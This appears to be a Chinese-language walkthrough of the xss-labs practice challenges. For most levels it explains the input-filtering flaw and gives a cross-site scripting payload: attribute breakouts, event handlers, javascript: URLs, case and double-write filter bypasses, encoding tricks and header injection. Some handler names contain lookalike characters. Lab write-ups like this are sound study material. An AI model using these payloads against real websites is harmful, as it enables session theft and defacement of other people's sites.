第一关
在url上有输入,页面上有输出,直接在url中注入payload即可,没做防御
第二关
当前页面上有两个输出地方,一个输出到了h2标签,后台进行了实体编码,另一个输出到input标签的value属性,没有进行html实体编码,考虑闭合input标签
payload:'"><script>alert(3);</script>
第三关
后端采用了htmlspecialchars对输入的payload进行了实体编码,但未加ENT_QUOTES参数,默认不对单引号进行实体编码,可以考虑绑定事件来触发
' οnclick='alert(1)' 鼠标点击事件触发
' οnfοcus='alert(1)' 聚焦触发
' οnblur='alert(1)' 失去焦点触发
' οnclick=javascript:alert(1) 内容为数值型不用加引号
' οnclick='javascript:alert("hello")' 还可以使用js伪协议来执行
第四关
将数据加到了input标签的value属性中,考虑闭合value属性,添加事件
'" οnclick='alert(1)'
第五关
对on,script进行了替换,将数据加到了input标签的value属性中,没有进行实体编码处理,可以考虑a标签的href属性,可以直接写伪协议
'"><a href='javascript:alert(3)'>
第六关
对一些关键字进行了替换操作,如:on 替换为o_n,考虑大写绕过
'" Onclick='alert(1)'
'"><a hREf='javascript:alert(3)'>
第七关
对href和script进行了过滤,考虑双写绕过
'"><a hRhrefEf='javascscriptript:alert(3)'>
第八关
将数据加到了a标签的href属性中,对script进行了替换操作,并忽略大小写,数据整体作为属性值时可以考虑编码绕过
将javascript:alert(3)整体编码得到:javascript:alert(3)
第九关
对数据进行了是否含有http://做了判断,并对关键字做了替换,把数据加到了a标签的href属性中,在属性中的数据可以考虑编码,并利用js的注释符//注释掉http://
javascript:alert(3)//http:// 因为script被替换,对其进行编码得:javascript:alert(3)//http://
第十关
查看源码发现有三个隐藏输入框
从url中发现是否需要输入查询参数
结合隐藏输入框的name属性,尝试提交查询参数
t_link=aa&t_history=bb&t_sort=cc
提交完查询参数后,再看源码,发现cc被写到了t_sort输入框的value属性中
在url中构造payload
t_link=aa&t_history=bb&t_sort='" οnclick='alert(3)'
此时还是隐藏框,考虑在前面构造一个type属性取代后面的隐藏属性
t_link=aa&t_history=bb&t_sort='" type='text' οnclick='alert(3)'
第十一关到第十四关
分别验证referer,user-agent,cookie,用bp抓包,修改请求头,注入payload:
'" type='text' οnclick='alert(3)'
第十五关
nginclude可以引入一个网址的页面,考虑将第一关的页面引入
src='http://192.168.31.203/xss-labs/level1.php?name=<img src = 1 οnerrοr=alert(3)>'
第十六关
对空格进行了html实体编码,替换掉了script标签,考虑用img标签,用回车(%0A)替换空格
<img%0Asrc=1%0Aοnerrοr=alert(3)/>
第十七关,十八关
将数据加到embed标签的src属性中,embed标签定义一个区域,考虑绑定一个onmouseover事件
' οnmοuseοver=alert(3)
第十九,二十关
涉及到flash触发xss漏洞,现在基本不用flash技术了,略过